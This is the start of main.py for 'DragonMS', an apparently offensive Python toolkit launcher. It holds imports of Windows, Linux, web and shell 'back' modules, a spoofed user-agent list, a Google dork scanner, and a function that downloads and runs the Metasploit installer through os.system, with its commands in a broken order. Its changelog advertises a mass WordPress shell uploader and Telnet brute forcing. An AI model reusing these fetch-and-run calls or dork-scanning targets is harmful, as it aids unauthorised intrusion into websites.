-
Notifications
You must be signed in to change notification settings - Fork 27
/
Copy pathmain.py
1421 lines (1387 loc) · 83.5 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
#
# Disclaimer:- This project was created for educational purposes and
# should not be used in environments without legal authorization.
# Author will be not responsible for any damage!
#
# ====================================================================
# Visit our website : ...
# GitHub : https://github.com/malam-x
# YouTube : DR4G Clew
# ====================================================================
# Tested On
# - Parrot OS
# - Ubuntu 18/20 LTS
# - Elementary OS
# - Kali Linux
# - MxLinux
# - Windows 10
# ====================================================================
# Author/Programmed : DR4G0N5 and Q3N
# Greetz to dark coder: b4ltazar, d3hydr8, Eclipse, Pr1nce
# ====================================================================
# Just enjoy and modify as you like! (*-*)
#
#
#Module
from __future__ import with_statement
from lib.list import list_tools
from lib.tools.Windows import back_windows
from lib.tools.Mac import back_mac
from lib.tools.Linux import back_linux
from lib.tools.Web import back_web
from lib.tools.Script import back_script
from lib.tools.Shell import back_shell
from lib.tools.Android import back_android
from lib.version import __version__
from lib.list import *
xver = '1.0'
# - Import Library
try:
#commands, StringIO, string
import ftplib, smtplib, fnmatch
import re, datetime, os.path, selenium, threading, random
import sys, os, json, socket, time
import requests, base64, contextlib
import urllib.request
import instaloader, getpass, twint
import pandas as pd
import urllib3, subprocess
except ImportError:
def INSTALLER():
try:
MODULESs = ['requests', 'hashlib', 'pytube', 'pandas', 'bs4', 'colorama', 'twint', 'wikipedia',
'cybercrimetracker', 'scapy', 'instaloader', 'selenium', 'ftplib']
for MODULES in MODULESs:
try:
if(sys.version_info[0] < 3):os.system('pip2 install {}'.format(MODULES))
else:os.system('pip install {} && pip install selenium'.format(MODULES)), print(' [+] {} has been installed successfully.\n'.format(MODULES))
except:
try:os.system('pip3 install -r requirements.txt && clear'),print('Done!') # MANUALLY INSTALLER! (requirements.txt)
except:pass
except:pass
print(' [!] Please install Some requirements.\n [+] Press Enter for Installer!\n [!] CTRL+C For Exit!'),
xxXxxxxx = input('')
if '' in xxXxxxxx:INSTALLER()
else:sys.exit('\n')
# - Library
from smtplib import SMTP
from copy import copy
from ftplib import FTP
from time import sleep
from random import randint
from pytube import YouTube
from sys import stdout
from selenium import webdriver
from collections import Counter
from bs4 import BeautifulSoup
from hashlib import sha256
from colorama import Fore
from colorama import Style
from pprint import pprint
from colorama import init
from functools import partial
from multiprocessing import Pool
#from googlesearch import search
from urllib.parse import urlparse
from urllib.parse import urlencode
from urllib.request import urlopen
from cybercrimetracker.cybercrimeTrackerAPI import cybercrimeTrackerAPI
init(autoreset=True)
requests.packages.urllib3.disable_warnings()
headers = {'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
'referer': 'www.google.com'}
ua = ["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1","Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1","Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0",
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)",
"Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9",
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5","Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre","Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12","Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.8",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5","Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14","Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20","Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a","Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2","Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0","Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1",
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2",
"Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1","Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
"Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ",
"Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre",
"Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2","Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0","Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre",
"Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
"Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2",
"Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
"Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre",
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0",
"Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1",
"Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
"Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8",
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0",
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15",
"Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko",
"Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
"Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025",
"Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1",
"Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1",
"Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)",
"Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8",
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7",
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.8",
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330",
"Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)",
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8",
"Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0",
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9",
"Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12",
"Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0",
"Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15",
"Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3",
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5",
"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8",
"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3",
"Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15"]
#==================
promt_choice = ' \u001b[1m[\u001b[32;1m+\u001b[0m\u001b[1m] Choice\u001b[0m: '
promt_target = ' \u001b[1m[\u001b[32;1m+\u001b[0m\u001b[1m] Target\u001b[0m: '
PULS = '\u001b[1m[\u001b[32;1m+\u001b[0m\u001b[1m]\u001b[0m'
MINS = '\u001b[1m[\u001b[31m-\u001b[0m\u001b[1m]\u001b[0m'
ERRORS = '\u001b[1m[\u001b[31mERROR!\u001b[0m\u001b[1m]\u001b[0m'
ERROR_SYM = '[\u001b[31m✘\u001b[0m]'
SUCES_SYM = '[\u001b[32;1m✔\u001b[0m]'
NFound = '\n\u001b[1m[\u001b[31mNot Found Choice!\u001b[0m\u001b[1m]\u001b[0m'
Aborted = '\n\u001b[1m[\u001b[31mABORTED!\u001b[0m\u001b[1m]\u001b[0m'
#==================
fr = Fore.RED
fc = Fore.CYAN
fw = Fore.WHITE
fg = Fore.GREEN
fm = Fore.MAGENTA
fy = Fore.YELLOW
fb = Fore.BLUE
sd = Style.DIM
frs = Fore.RESET
sn = Style.NORMAL
sb = Style.BRIGHT
Internet = ''
ip1 = randint(0, 250)
ip2 = randint(0, 250)
ip3 = randint(0, 250)
ip4 = randint(0, 250)
threads = int(0)
ip_target = str(0)
port_target = int(0)
total_attack = int(0)
choice = int(0)
multi = int(250)
random_ip = str(ip1)+'.'+str(ip1)+'.'+str(ip1)+'.'+str(ip1)
ERROR_MSG = '\u001b[1m[u001b[1m[\u001b[31mERROR\u001b[0m\u001b[1m]\u001b[0m'
WARNING_MSG = fy+'[WARN]'
SUCCESS_MSG = fy+'[SUCCESS]'
IP_NOTFOUND = '\n\u001b[1m[\u001b[31mNOT FOUND IP!\u001b[0m\u001b[1m]\u001b[0m'
vmains = ''
def CHECK_INTERNET():
global Internet, vmains
clear()
try:
request = requests.get("http://animcra.tech/", timeout=5)
print('\n %s[+] Checking Internet...'%fc), time.sleep(2), print(" %s [ONLINE]"%fg)
Internet = 'Online'
vmains = f'{sb}{fg}Online'
time.sleep(2)
except (requests.ConnectionError, requests.Timeout) as exception:
print('\n %s[+] Checking Internet...'%fc), time.sleep(2.5),print(" %s%s[OFFLINE]"%(sb,fr))
Internet = 'Offline'
vmains = f'{sb}{fr}Offline'
time.sleep(3)
def get_urls(search_string, start):
temp = []
url = 'http://www.google.com/search'
payload = { 'q' : search_string, 'start' : start }
my_headers = { 'User-agent' : 'Mozilla/11.0' }
r = requests.get( url, params = payload, headers = my_headers )
soup = BeautifulSoup( r.text, 'html.parser' )
h3tags = soup.find_all( 'h3', class_='r' )
for h3 in h3tags:
try:temp.append( re.search('url\?q=(.+?)\&sa', h3.a['href']).group(1) )
except:continue
return temp
def dork_scanner(search, pages, processes):
result = []
search = search
pages = pages
processes = int( processes )
make_request = partial( get_urls, search )
pagelist = [ str(x*10) for x in range( 0, int(pages) ) ]
with Pool(processes) as p:tmp = p.map(make_request, pagelist)
for x in tmp:result.extend(x)
result = list( set( result ) )
return result
def console():os.system('msfconsole')
def install():
os.system('clear')
os.system('curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&')
os.system('./msfinstall')
os.system('chmod 755 msfinstall &&')
def MAIN_LIST(nok):return '\u001b[1m[\u001b[32;1m%s\u001b[0m\u001b[1m]\u001b[0m'%nok
def input_drg(txt):
try:
if(sys.version_info[0] < 3):return raw_input(txt).strip()
else:
sys.stdout.write(txt)
return input(f'{sb}')
except:return False
def drag_content(req):
try:
try:return str(req.text)
except:
try:return str(req.content.encode('utf-8'))
except:return str(req.content.decode('utf-8'))
except:return str(req.content)
def clean(tools_name):
lines_seen = set()
outfile = open(f'{tools_name}.txt', "a")
infile = open(f'{tools_name}list.txt', "r")
for line in infile:
if line not in lines_seen:
outfile.write(line)
lines_seen.add(line)
outfile.close()
infile.close()
if os.name == "nt":os.system(f"del {tools_name}list.txt")
else:os.system(f"rm -rf {tools_name}list.txt")
print(" %s[-] Duplicate %s removed successfully!"%(fr,tools_name))
print("\n %s[+] Dorks saved as %s.txt!"%(fb,tools_name))
"""
INFORMATION
"""
def about_me():
global Internet, xver, update
Tools_Version = ''
try:
try:update = requests.get('https://pastebin.com/raw/cCY86XQq', headers=headers, timeout=15)
except:update = requests.get('https://pastebin.com/raw/cCY86XQq', headers=headers, timeout=15)
update = drag_content(update)
if('main' not in update) :
update = requests.get('https://pastebin.com/raw/cCY86XQq', headers=headers, timeout=15)
update = drag_content(update)
Tools_Version += update
except requests.exceptions.ConnectionError:Tools_Version += '%sConnect to Internet to see the latest version!%s'%(fr,fw)
ABOUT_US_UPD = f'''
{sb}{fg}Name Tools : DragonMS [{fy}PUB{fg}]
{sb}{fg}Author : DR4G0N5 & Q3N
{sb}{fg}Credits : LeeOn, Aman, LAKER, Makman
{sb}{fg}Version : {fb}{Tools_Version}
{sb}{fg}Friends : P47r1ck, SaklarRusak, K4PUYU4K
{sb}{fg}GitHub : https://github.com/malam-x
{sb}{fb}============================================
{sb}UPDATE LOGS:
{sb}- [FIX] Some bug!
{sb}- Adf.ly BOT (1.3)
{sb}- Telnet Brute (1.2)
{sb}- Code Finder (1.1)
{sb}- Pentesting Tools (0.8)
{sb}- Shell Finder
{sb}- Google Scanner
{sb}- Google Scrapper
{sb}- Dork maker
{sb}- Dork scanner
{sb}- Pentesting Tools (0.5)
{sb}- Web Cloning (wget)
{sb}- Mass WP Shell Uploader
{sb}- [UPDATE] News Design, Easy to Use.
{sb}{fb}============================================
'''
for zxxxx in ABOUT_US_UPD.split("\n"): print(zxxxx), time.sleep(0.1)
def banner_drgn():
BANNER = r"""
{2} _____ __ __ _____
{1} | __ \ | \/ |/ ____|
{2} | | | |_ __ __ _ __ _ ___ _ __ | \ / | (___
{1} | | | | '__/ _` |/ _` |/ _ \| '_ \| |\/| |\___ \
{2} | |__| | | | (_| | (_| | (_) | | | | | | |____) |
{1} |_____/|_| \__,_|\__, |\___/|_| |_|_| |_|_____/
{2} __/ |
{1} |___/
{5}
{5} Programmed By {4}DR4G0N5 {5}{0}x {2}Q3N
""".format(fr,fm,fg,sb,fb,frs)
for line in BANNER.split("\n"):
print(line)
time.sleep(0.1)
def banner_lst(BannerName):
print(r"""
{2} _____ __ __ _____
{1} | __ \ | \/ |/ ____|
{2} | | | |_ __ __ _ __ _ ___ _ __ | \ / | (___
{1} | | | | '__/ _` |/ _` |/ _ \| '_ \| |\/| |\___ \
{2} | |__| | | | (_| | (_| | (_) | | | | | | |____) |
{1} |_____/|_| \__,_|\__, |\___/|_| |_|_| |_|_____/
{2} __/ |
{1} |___/
{5}
{5} {4}[+] {6} [+]
""".format(fr,fm,fg,sb,fb,frs,BannerName))
def clear():
if sys.platform.startswith('linux'): os.system('clear')
elif sys.platform.startswith('freebsd'): os.system('clear')
else: os.system('cls')
def main():
clear()
try:
banner_drgn()
print('-'*60)
list_tools()
choice = input_drg(promt_choice)
if (choice == 1): back_windows()
